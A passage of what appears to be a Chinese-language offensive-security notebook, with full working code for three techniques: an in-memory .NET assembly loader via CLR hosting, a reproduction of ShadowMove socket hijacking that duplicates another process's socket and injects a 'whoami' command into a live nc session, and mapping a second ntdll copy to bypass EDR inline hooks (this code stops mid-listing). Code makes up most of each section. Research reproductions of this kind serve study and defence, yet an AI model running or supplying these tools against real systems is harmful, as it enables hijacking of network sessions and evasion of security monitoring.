	SafeArrayAccessData(pSafeArray, &pData);
	memcpy(pData, dotnetRaw, ASSEMBLY_LENGTH);
	SafeArrayUnaccessData(pSafeArray);

	pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);
	pAssembly->get_EntryPoint(&pMethodInfo);
```

4.创建参数安全数组

```
ZeroMemory(&vRet, sizeof(VARIANT));
	ZeroMemory(&vObj, sizeof(VARIANT));
	vObj.vt = VT_NULL;

	vPsa.vt = (VT_ARRAY | VT_BSTR);
	args = SafeArrayCreateVector(VT_VARIANT, 0, 1);

	if (argc > 1)
	{
		vPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, argc);
		for (long i = 0; i < argc; i++)
		{
			SafeArrayPutElement(vPsa.parray, &i, SysAllocString(argv[i]));
		}

		long idx[1] = { 0 };
		SafeArrayPutElement(args, idx, &vPsa);
	}

```

5.通过描述入口点的MethodInfo实例对象的Invoke方法执行入口点。

```
HRESULT hr = pMethodInfo->Invoke_3(vObj, args, &vRet);
```

### 完整代码

{% tabs %}
{% tab title="unmanaged.cpp" %}

```cpp
#include <stdio.h>
#include <tchar.h>
#include <metahost.h>
#pragma comment(lib, "mscoree.lib")

#import <mscorlib.tlb> raw_interfaces_only			\
    	high_property_prefixes("_get","_put","_putref")		\
    	rename("ReportEvent", "InteropServices_ReportEvent")	\
	rename("or", "InteropServices_or")

using namespace mscorlib;
#define ASSEMBLY_LENGTH  8192


unsigned char dotnetRaw[8192] =
"\x4d\x5a\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00...";//.net程序集字节数组



int _tmain(int argc, _TCHAR* argv[])
{

	ICLRMetaHost* iMetaHost = NULL;
	ICLRRuntimeInfo* iRuntimeInfo = NULL;
	ICorRuntimeHost* iRuntimeHost = NULL;
	IUnknownPtr pAppDomain = NULL;
	_AppDomainPtr pDefaultAppDomain = NULL;
	_AssemblyPtr pAssembly = NULL;
	_MethodInfoPtr pMethodInfo = NULL;
	SAFEARRAYBOUND saBound[1];
	void* pData = NULL;
	VARIANT vRet;
	VARIANT vObj;
	VARIANT vPsa;
	SAFEARRAY* args = NULL;

	CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&iMetaHost);
	iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);
	iRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&iRuntimeHost);
	iRuntimeHost->Start();


	iRuntimeHost->GetDefaultDomain(&pAppDomain);
	pAppDomain->QueryInterface(__uuidof(_AppDomain), (VOID**)&pDefaultAppDomain);

	saBound[0].cElements = ASSEMBLY_LENGTH;
	saBound[0].lLbound = 0;
	SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, saBound);

	SafeArrayAccessData(pSafeArray, &pData);
	memcpy(pData, dotnetRaw, ASSEMBLY_LENGTH);
	SafeArrayUnaccessData(pSafeArray);

	pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);
	pAssembly->get_EntryPoint(&pMethodInfo);

	ZeroMemory(&vRet, sizeof(VARIANT));
	ZeroMemory(&vObj, sizeof(VARIANT));
	vObj.vt = VT_NULL;



	vPsa.vt = (VT_ARRAY | VT_BSTR);
	args = SafeArrayCreateVector(VT_VARIANT, 0, 1);

	if (argc > 1)
	{
		vPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, argc);
		for (long i = 0; i < argc; i++)
		{
			SafeArrayPutElement(vPsa.parray, &i, SysAllocString(argv[i]));
		}

		long idx[1] = { 0 };
		SafeArrayPutElement(args, idx, &vPsa);
	}

	HRESULT hr = pMethodInfo->Invoke_3(vObj, args, &vRet);
	pMethodInfo->Release();
	pAssembly->Release();
	pDefaultAppDomain->Release();
	iRuntimeInfo->Release();
	iMetaHost->Release();
	CoUninitialize();

	return 0;
};

```

{% endtab %}

{% tab title="managed.cs" %}

```csharp
using System;

namespace TEST
{
    class Program
    {
        static int Main(String[] args)
        {
            Console.WriteLine("hello world!");
            foreach (var s in args)
            {
                Console.WriteLine(s);
            }
            return 1;
        }
    }
}
```

{% endtab %}
{% endtabs %}

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MNw5fAhlPaJ8CorQWDw%2F-MNw5o5BCZo49jlH-QLo%2Fimage.png?alt=media\&token=b5f23b94-2ebc-4e0b-98cf-f7503306bb6c)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MNw5fAhlPaJ8CorQWDw%2F-MNw5svrk6sPqfpjUQ3-%2Fimage.png?alt=media\&token=fe744901-e0d5-44df-af84-7c09c450f20a)

## LINKS

{% embed url="<https://teamhydra.blog/2020/10/12/in-process-execute-assembly-and-mail-slots/>" %}

{% embed url="<https://docs.microsoft.com/>" %}

{% embed url="<https://b4rtik.github.io/posts/execute-assembly-via-meterpreter-session/>" %}

{% embed url="<https://b4rtik.github.io/posts/execute-assembly-via-meterpreter-session-part-2/>" %}


# ShadowMove复现与思考

## 简介

前段时间有几位老哥联名发了一篇论文，这篇论文描述了一种复制套接字劫持网络连接的技术，本文旨在于简单分析复现这种技术，如有错误欢迎指正。

作者给出的理论图如下，通过创建两个基于原套接字复制的套接字，定期挂起原套接字接收和响应特殊的数据包。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MKYeSJUEMWgP0xw2m8E%2F-MKYeajHEyWOZO5tb3qz%2Fimage.png?alt=media\&token=98b7189b-f19f-4705-80b8-3ff64df893a2)

## 复现过程

尽管windows本身提供了WSADuplicateSocket函数，但是这个函数需要本地进程的socks句柄，而句柄只在本地进程才有意义，这篇文章的作者提出了一种从远程复制句柄技术的变体。

作者发现套接字的句柄等同于的名为\Device\Afd文件句柄，这个句柄可以直接视为socks使用(虽然就是同一个，但说还是这么说)，我们可以通过常规的句柄枚举技术从远程进程得到它，然后使用NtDuplicateObject函数将它复制到本地进程，本地进程再通过WSADuplicateSocket获取克隆套接字需要的参数，然后我们可以像使用自己的socket一样使用这个克隆过来的socket了。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MKYeSJUEMWgP0xw2m8E%2F-MKYj3aEUoy_wbLrxE7_%2Fimage.png?alt=media\&token=d13c755c-5b5c-4f76-8561-58124a208f21)

在github有[0xcpu](https://github.com/0xcpu/winsmsd)师傅分享了一份ShadowMove的代码，这里我做了一点简化。

首先师傅获取了系统的所有句柄。

```
    //获取系统内所有句柄
    pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(SystemInformationLength, sizeof(UCHAR));
    while (pNtQuerySystemInformation(SystemHandleInformation,
                                     pSysHandleInfo,
                                     SystemInformationLength,
                                     &ReturnLength) == STATUS_INFO_LENGTH_MISMATCH) {
        free(pSysHandleInfo);
        SystemInformationLength = ReturnLength;
        pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(SystemInformationLength, sizeof(UCHAR));
    }

```

获取句柄之后将所有句柄克隆到了当前进程(句柄只有在本地进程才有意义)，对这个句柄的类型做了一个判断。(这里我简单的做了一个优化，作者的源代码是判断所有句柄类型不等于0x28的句柄，其实所有\drivice\开头的文件句柄都是OB\_TYPE\_DEVICE, // 25,设备类型)。

```

    for (size_t i = 0; i < pSysHandleInfo->NumberOfHandles; i++) 
    {
        //句柄只在拥有者进程内有意义，所以这里需要通过NtDuplicateObject函数将句柄复制到当前进程
        if (pSysHandleInfo->Handles[i].ObjectTypeIndex == 25) {
            ntStatus = pNtDuplicateObject(hProcess,
                                          (HANDLE)pSysHandleInfo->Handles[i].HandleValue,
                                          GetCurrentProcess(),
                                          &TargetHandle,
                                          PROCESS_ALL_ACCESS, 
                                          FALSE,
                                          DUPLICATE_SAME_ACCESS);

            if (ntStatus == STATUS_SUCCESS) {
                pObjNameInfo = (POBJECT_NAME_INFORMATION)calloc(ObjectInformationLength, sizeof(UCHAR));

                if (NULL == pObjNameInfo) {
                    CloseHandle(TargetHandle);
                    free(pSysHandleInfo);
                    pSysHandleInfo = NULL;

                    return TargetSocket;
                }
```

随后比较简单的通过NtQueryObject函数查询句柄描述对象的部分属性，我们知道windows系统是对象驱动的，而在三环描述对象的是句柄，我们可以通过句柄查询一下句柄所描述对象的属性，这里查询了对象的设备描述符。

```
    //查询指定句柄的部分属性，返回结果为OBJECT_NAME_INFORMATION的结构体
                while (pNtQueryObject(TargetHandle,
                                      (OBJECT_INFORMATION_CLASS)ObjectNameInformation,
                                      pObjNameInfo,
                                      ObjectInformationLength,
                                      &ReturnLength) == STATUS_INFO_LENGTH_MISMATCH)
                {
                    free(pObjNameInfo);
                    ObjectInformationLength = ReturnLength;
                    pObjNameInfo = (POBJECT_NAME_INFORMATION)calloc(ObjectInformationLength, sizeof(UCHAR));
                    if (NULL == pObjNameInfo) {
                        CloseHandle(TargetHandle);
                        free(pSysHandleInfo);
                        pSysHandleInfo = NULL;

                        return TargetSocket;
                    }
                }
                //判断句柄符号名是否为\\Device\\Afd，这个描述名的句柄等同于socks句柄
                if ((pObjNameInfo->Name.Length / 2) == wcslen(pcwDeviceAfd)) {
                    if ((wcsncmp(pObjNameInfo->Name.Buffer, pcwDeviceAfd, wcslen(pcwDeviceAfd)) == 0) &&//内存对比
                        IsTargetIPAndPort(TargetHandle, pIpAddress, dwPort)) { //如果这个句柄的对端地址和端口等同于输入，那就找到了。
```

最后这个师傅就直接开始复制套接字。

```
       WsaErr = WSADuplicateSocketW((SOCKET)TargetHandle, GetCurrentProcessId(), &WsaProtocolInfo);
                        //返回一个用于创建共享套接字的结构体WSAPROTOCOL_INFOW。
                        if (WsaErr != 0) {
                            CloseHandle(TargetHandle);
                            free(pObjNameInfo);
                            free(pSysHandleInfo);
                            pSysHandleInfo = NULL;
                            pObjNameInfo = NULL;
                            return TargetSocket;
                        } else {
                            //通过获取的WSAPROTOCOL_INFOW结构体创建一个新的socks。
                            TargetSocket = WSASocket(WsaProtocolInfo.iAddressFamily,
                                                     WsaProtocolInfo.iSocketType,
                                                     WsaProtocolInfo.iProtocol,
                                                     &WsaProtocolInfo,
                                                     0,
                                                     WSA_FLAG_OVERLAPPED);
                            if (TargetSocket != INVALID_SOCKET) {
                                fwprintf(stdout, L"[OK] Socket was duplicated!\n");
                                CloseHandle(TargetHandle);
                                free(pObjNameInfo);
                                free(pSysHandleInfo);
                                pObjNameInfo = NULL;
                                pSysHandleInfo = NULL;

                                return TargetSocket;
                            }
                        }
                    }
                }

                CloseHandle(TargetHandle);
                free(pObjNameInfo);
                pObjNameInfo = NULL;
            }
        }
    }
```

## 完整代码

```
#pragma once

#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include <inttypes.h>
#include <assert.h>
#include <winternl.h>
#include <Tlhelp32.h>

#define SystemHandleInformation     0x10
#define ObjectNameInformation       1
#define STATUS_SUCCESS              ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
    ULONG   UniqueProcessId;
    UCHAR   ObjectTypeIndex;
    UCHAR   HandleAttributes;
    USHORT  HandleValue;
    PVOID   Object;
    ULONG   GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG                           NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO  Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;


typedef struct _OBJECT_NAME_INFORMATION
{
    UNICODE_STRING Name;
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;

typedef long (*NTDUPLICATEOBJECT)(HANDLE, HANDLE, HANDLE, PHANDLE, ACCESS_MASK, BOOLEAN, ULONG);
typedef NTSTATUS(*NTQUERYSYSTEMINFORMATION)(
    ULONG   SystemInformationClass,
    PVOID   SystemInformation,
    ULONG   SystemInformationLength,
    PULONG  ReturnLength);
typedef NTSTATUS(*NTQUERYOBJECT)(
    HANDLE                   Handle,
    OBJECT_INFORMATION_CLASS ObjectInformationClass,
    PVOID                    ObjectInformation,
    ULONG                    ObjectInformationLength,
    PULONG                   ReturnLength
    );

NTDUPLICATEOBJECT           pNtDuplicateObject;
NTQUERYSYSTEMINFORMATION    pNtQuerySystemInformation;
NTQUERYOBJECT               pNtQueryObject;

```

```
#include "winsmsd.h"


BOOL Init(VOID)
{

    WSADATA WsaData;
  

     WSAStartup(MAKEWORD(2, 2), &WsaData);

    pNtDuplicateObject = (NTDUPLICATEOBJECT)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtDuplicateObject");
    pNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
    pNtQueryObject = (NTQUERYOBJECT)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryObject");

    if (pNtDuplicateObject && pNtQuerySystemInformation && pNtQueryObject) {
        return TRUE;
    }
    else {
        WSACleanup();

        return FALSE;
    }
}


BOOL IsTargetIPAndPort(HANDLE hSocket, PBYTE TargetIp, USHORT TargetPort)
{
    INT         ret;
    SOCKADDR_IN SockAddr;
    INT         NameLen = sizeof(SOCKADDR_IN);

    ret = getpeername((SOCKET)hSocket, (PSOCKADDR)&SockAddr, &NameLen);
    if (ret != 0) {
        fwprintf(stderr, L"Failed to retrieve address of peer: %d\n", ret);
        return FALSE;
    } else {
        fwprintf(stdout, L"Address: %u.%u.%u.%u Port: %hu\n",
                 SockAddr.sin_addr.S_un.S_un_b.s_b1,
                 SockAddr.sin_addr.S_un.S_un_b.s_b2,
                 SockAddr.sin_addr.S_un.S_un_b.s_b3,
                 SockAddr.sin_addr.S_un.S_un_b.s_b4,
                 ntohs(SockAddr.sin_port));

        if (memcmp((PVOID)&SockAddr.sin_addr.S_un.S_un_b, (PVOID)TargetIp, 4) == 0 &&
            ntohs(SockAddr.sin_port) == TargetPort) {
            return TRUE;
        } else {
            return FALSE;
        }
    }
}

SOCKET GetSocket(HANDLE hProcess, PBYTE pIpAddress, USHORT dwPort)
{
    PSYSTEM_HANDLE_INFORMATION  pSysHandleInfo = NULL;
    POBJECT_NAME_INFORMATION    pObjNameInfo = NULL;
    ULONG                       SystemInformationLength = 0;
    ULONG                       ObjectInformationLength = 0;
    ULONG                       ReturnLength;
    HANDLE                      TargetHandle = INVALID_HANDLE_VALUE;
    SOCKET                      TargetSocket = INVALID_SOCKET;
    NTSTATUS                    ntStatus;
    PCWSTR                      pcwDeviceAfd = L"\\Device\\Afd";
    INT                         WsaErr;
    WSAPROTOCOL_INFOW           WsaProtocolInfo = { 0 };

    //获取系统内所有句柄
    pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(SystemInformationLength, sizeof(UCHAR));
    while (pNtQuerySystemInformation(SystemHandleInformation,
                                     pSysHandleInfo,
                                     SystemInformationLength,
                                     &ReturnLength) == STATUS_INFO_LENGTH_MISMATCH) {
        free(pSysHandleInfo);
        SystemInformationLength = ReturnLength;
        pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(SystemInformationLength, sizeof(UCHAR));
    }

    for (size_t i = 0; i < pSysHandleInfo->NumberOfHandles; i++) 
    {
        //句柄只在拥有者进程内有意义，所以这里需要通过NtDuplicateObject函数将句柄复制到当前进程
        if (pSysHandleInfo->Handles[i].ObjectTypeIndex == 25) {
            ntStatus = pNtDuplicateObject(hProcess,
                                          (HANDLE)pSysHandleInfo->Handles[i].HandleValue,
                                          GetCurrentProcess(),
                                          &TargetHandle,
                                          PROCESS_ALL_ACCESS, 
                                          FALSE,
                                          DUPLICATE_SAME_ACCESS);

            if (ntStatus == STATUS_SUCCESS) {
                pObjNameInfo = (POBJECT_NAME_INFORMATION)calloc(ObjectInformationLength, sizeof(UCHAR));

                if (NULL == pObjNameInfo) {
                    CloseHandle(TargetHandle);
                    free(pSysHandleInfo);
                    pSysHandleInfo = NULL;

                    return TargetSocket;
                }
                //查询指定句柄的部分属性，返回结果为OBJECT_NAME_INFORMATION的结构体
                while (pNtQueryObject(TargetHandle,
                                      (OBJECT_INFORMATION_CLASS)ObjectNameInformation,
                                      pObjNameInfo,
                                      ObjectInformationLength,
                                      &ReturnLength) == STATUS_INFO_LENGTH_MISMATCH)
                {
                    free(pObjNameInfo);
                    ObjectInformationLength = ReturnLength;
                    pObjNameInfo = (POBJECT_NAME_INFORMATION)calloc(ObjectInformationLength, sizeof(UCHAR));
                    if (NULL == pObjNameInfo) {
                        CloseHandle(TargetHandle);
                        free(pSysHandleInfo);
                        pSysHandleInfo = NULL;

                        return TargetSocket;
                    }
                }
                //判断句柄符号名是否为\\Device\\Afd，这个描述名的句柄等同于socks句柄
                if ((pObjNameInfo->Name.Length / 2) == wcslen(pcwDeviceAfd)) {
                    if ((wcsncmp(pObjNameInfo->Name.Buffer, pcwDeviceAfd, wcslen(pcwDeviceAfd)) == 0) &&//内存对比
                        IsTargetIPAndPort(TargetHandle, pIpAddress, dwPort)) { //如果这个句柄的对端地址和端口等同于输入，那就找到了。
                        WsaErr = WSADuplicateSocketW((SOCKET)TargetHandle, GetCurrentProcessId(), &WsaProtocolInfo);
                        //返回一个用于创建共享套接字的结构体WSAPROTOCOL_INFOW。
                        if (WsaErr != 0) {
                            CloseHandle(TargetHandle);
                            free(pObjNameInfo);
                            free(pSysHandleInfo);
                            pSysHandleInfo = NULL;
                            pObjNameInfo = NULL;
                            return TargetSocket;
                        } else {
                            //通过获取的WSAPROTOCOL_INFOW结构体创建一个新的socks。
                            TargetSocket = WSASocket(WsaProtocolInfo.iAddressFamily,
                                                     WsaProtocolInfo.iSocketType,
                                                     WsaProtocolInfo.iProtocol,
                                                     &WsaProtocolInfo,
                                                     0,
                                                     WSA_FLAG_OVERLAPPED);
                            if (TargetSocket != INVALID_SOCKET) {
                                fwprintf(stdout, L"[OK] Socket was duplicated!\n");
                                CloseHandle(TargetHandle);
                                free(pObjNameInfo);
                                free(pSysHandleInfo);
                                pObjNameInfo = NULL;
                                pSysHandleInfo = NULL;

                                return TargetSocket;
                            }
                        }
                    }
                }

                CloseHandle(TargetHandle);
                free(pObjNameInfo);
                pObjNameInfo = NULL;
            }
        }
    }

    free(pSysHandleInfo);
    
    return TargetSocket;
}



DWORD WINAPI ThreadProc(LPVOID lpParam)
{
    Sleep(3000);
    char msg[] = "whoami";
    send((SOCKET)lpParam, msg, sizeof(msg), MSG_OOB);
    return 0;
}

int main(int argc, char** argv)
{
    DWORD   dwPid;
    USHORT  uPort;
    BYTE    IpAddress[4] = { 0 };
    HANDLE  hProc;
    PCHAR   pToken = NULL;
    PCHAR   Ptr;
    SIZE_T  i = 0;


    Init();

    dwPid = strtoul(argv[1], NULL, 10);
    uPort = (USHORT)strtoul(argv[3], NULL, 10);
    pToken = strtok_s(argv[2], ".", &Ptr);
    while (pToken && i < 4) {
        IpAddress[i] = (BYTE)strtoul(pToken, NULL, 10);
        pToken = strtok_s(NULL, ".", &Ptr);
        i++;
    }

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
    {
        return 0;
    }

    PROCESSENTRY32 pe;
    pe.dwSize = sizeof pe;

    if (Process32First(hSnapshot, &pe))
    {
        do {
            if (lstrcmpi(L"nc64.exe", pe.szExeFile) == 0)
            {
                CloseHandle(hSnapshot);
                dwPid=  pe.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnapshot, &pe));
    }

    

    hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwPid);


    BYTE Buff[128] = { 0 };
    SOCKET NewSocket = GetSocket(hProc, IpAddress, uPort);
    
    HANDLE hTHread =  CreateThread(0, 0, ThreadProc, NewSocket, 0, 0);

    if (NewSocket != INVALID_SOCKET) {
        while (recv(NewSocket, Buff, 128, MSG_PEEK) == -1);
        printf("%s", Buff);

        closesocket(NewSocket);
    }
    CloseHandle(hProc);
    CloseHandle(hSnapshot);
    WSACleanup();
    return 0;
}

```

## 复现和思考

这种技术理论上只能应用于明文传输的协议，如Telnet、ftp，劫持连接后我们通常能直接掠过身份认证的过程，这里我们起一个nc的bash控制口做一个测试。

我们先在kali上起一个服务端，然后使用nc去连接。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MKYmma2bIsmojl8uPpH%2F-MKYneV9WJN_nfWvZP1U%2Fimage.png?alt=media\&token=586c644c-ce8c-44ad-9c96-5c94e3edcc06)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MKYmma2bIsmojl8uPpH%2F-MKYnrLbVxyx_xpOgqRQ%2Fimage.png?alt=media\&token=8fc40e0e-8fba-4150-a72a-6593a636c212)

之后运行我们的poc，由于套接字的处理是异步的，我们需要另起一个线程去发送命令，然后使用主线程接收。

```
DWORD WINAPI ThreadProc(LPVOID lpParam)
{
    Sleep(3000);
    char msg[] = "whoami";
    send((SOCKET)lpParam, msg, sizeof(msg), MSG_OOB);
    return 0;
}

 HANDLE hTHread =  CreateThread(0, 0, ThreadProc, NewSocket, 0, 0);
```

可以看到主副socket都接收到了命令的结果，如果我们不想要主套接字接收到，我们可以直接挂起或者干掉它来接管这个网络连接。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MKYmma2bIsmojl8uPpH%2F-MKYoU0z3mEFluZUI16o%2Fimage.png?alt=media\&token=dd9be32c-5d5f-4a9a-9ecd-ad787161d7a9)

## LINKS

{% embed url="<https://github.com/0xcpu/winsmsd>" %}

原文如下:

{% embed url="<https://www.usenix.org/system/files/sec20summer_niakanlahiji_prepub.pdf>" %}


# 载入第二个Ntdll绕Hook

## 简介

我不知道有没有人写过这个东西， 之前和我的亲兄弟[snowming](http://blog.leanote.com/post/snowming/a0366d1d01bf)师傅交流时回想起来用[CreateFileMapping->MapViewOfFile](/code-and-dll-process-injection/mapping-injection)以文件映射的形式打开，如果被打开文件时PE格式，那么这个文件会按照内存展开，那么我们猜想是不是这个被第二次载入内存的ntdll是不是就是一个干净的ntdll，能不能帮助我们绕过一些inline hook。

## 流程

1. 使用CreateFileMapping->MapViewOfFile映射一个ntdll
2. 自己实现一个GetProcAddress函数
3. 使用自写GetProcAddress函数获取nt函数
4. do it

## 调试

把代码写出来之后windbg调了一下，发现如果没有挂钩，那么这个代码其实和原ntdll是一模一样的，在windbg里面会显示第二个ntdll。(只是显示成ntdll\_xxx,在ldr链表里还是叫ntdll)。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MK4qsKoV0QA1K_WQyi_%2F-MK4sUyGPhkrHxVLUpYR%2Fimage.png?alt=media\&token=c5de6d78-613b-4c6f-908d-65b1c5f0c4d9)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MK4qsKoV0QA1K_WQyi_%2F-MK4t_P7FlxrBdxwDlhX%2Fimage.png?alt=media\&token=bad77e5f-c2b3-412f-abfb-74506de63de4)

如果使用windows api GetProcAddress函数获取函数地址的话会报错0126 找不到指定的模块。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MK50AFs6jyMZsHJVLfu%2F-MK51fyPmJRaSMvEkXFO%2Fimage.png?alt=media\&token=092b96fb-c3b5-44b0-910d-2b7a57297a10)

具体分析过程参考开源的reactos项目的代码。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MK5Ef3gMp_87CJu-DIP%2F-MK5EvnllVIhbfknQOlw%2Fimage.png?alt=media\&token=ff0f31a4-2398-4804-acd2-c643cbec10d2)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MK5Ef3gMp_87CJu-DIP%2F-MK5Erg0FbkBaWBu66Kh%2Fimage.png?alt=media\&token=2dfafe33-ef61-4b9f-806f-ef6ac281c5d5)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MK5Ef3gMp_87CJu-DIP%2F-MK5EzxLEmecRXk4eM9J%2Fimage.png?alt=media\&token=416beb46-18bd-4dc4-8946-2d8681facc01)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MK5P9v3txbw2zNeqh7d%2F-MK5PDoBcVZ6vE2Bty2R%2Fimage.png?alt=media\&token=1dfaa289-df89-4518-9cd0-1d4be949699e)

![errorcode 126](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MK5P9v3txbw2zNeqh7d%2F-MK5PNuGc-MyDszhnij1%2Fimage.png?alt=media\&token=094a60f8-ad2a-416c-a1a2-367a76fad7d2)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MK5Ef3gMp_87CJu-DIP%2F-MK5F8KIgnawP5gywS4I%2Fimage.png?alt=media\&token=85af03e8-ef46-4d3e-8025-46bd4ac342ba)

但是如果我们直接自己编写一个GetProcAddress函数就可以获取到这个自己加载的ntdll内的函数地址并且执行成功。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MK51nnfSA_TWOlD2ycj%2F-MK526WhGHuPdDC0XoFz%2Fimage.png?alt=media\&token=f60e171a-6449-4f5e-ac3d-c6ea6144cf9e)

## 代码

```
#include <Windows.h>
#include <stdio.h>

#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)

typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
	HANDLE ProcessHandle,
	PVOID* BaseAddress,
	ULONG_PTR ZeroBits,
	PSIZE_T RegionSize,
	ULONG AllocationType,
	ULONG Protect);

FARPROC WINAPI GetProcAddressR(HANDLE hModule, LPCSTR lpProcName)
{
	UINT_PTR uiLibraryAddress = 0;
	FARPROC fpResult = NULL;

	if (hModule == NULL)
		return NULL;
	uiLibraryAddress = (UINT_PTR)hModule;

	__try
	{
		UINT_PTR uiAddressArray = 0;
		UINT_PTR uiNameArray = 0;
		UINT_PTR uiNameOrdinals = 0;
		PIMAGE_NT_HEADERS pNtHeaders = NULL;
		PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
		PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
		pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
		pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
		pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + pDataDirectory->VirtualAddress);
		uiAddressArray = (uiLibraryAddress + pExportDirectory->AddressOfFunctions);
		uiNameArray = (uiLibraryAddress + pExportDirectory->AddressOfNames);
		uiNameOrdinals = (uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals);
		if (((DWORD)lpProcName & 0xFFFF0000) == 0x00000000)
		{
			uiAddressArray += ((IMAGE_ORDINAL((DWORD)lpProcName) - pExportDirectory->Base) * sizeof(DWORD));
			fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray));
		}
		else
		{
			DWORD dwCounter = pExportDirectory->NumberOfNames;
			while (dwCounter--)
			{
				char* cpExportedFunctionName = (char*)(uiLibraryAddress + DEREF_32(uiNameArray));
				if (strcmp(cpExportedFunctionName, lpProcName) == 0)
				{
					uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
					fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray));

					break;
				}
				uiNameArray += sizeof(DWORD);
				uiNameOrdinals += sizeof(WORD);
			}
		}
	}
	__except (EXCEPTION_EXECUTE_HANDLER)
	{
		fpResult = NULL;
	}

	return fpResult;
}


int main() {

	HANDLE hNtdllfile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	HANDLE hNtdllMapping = CreateFileMapping(hNtdllfile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
	LPVOID lpNtdllmaping = MapViewOfFile(hNtdllMapping, FILE_MAP_READ, 0, 0, 0);

	pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddressR((HMODULE)lpNtdllmaping, "NtAllocateVirtualMemory");

	int err = GetLastError();

	LPVOID Address = NULL;
	SIZE_T uSize = 0x1000;

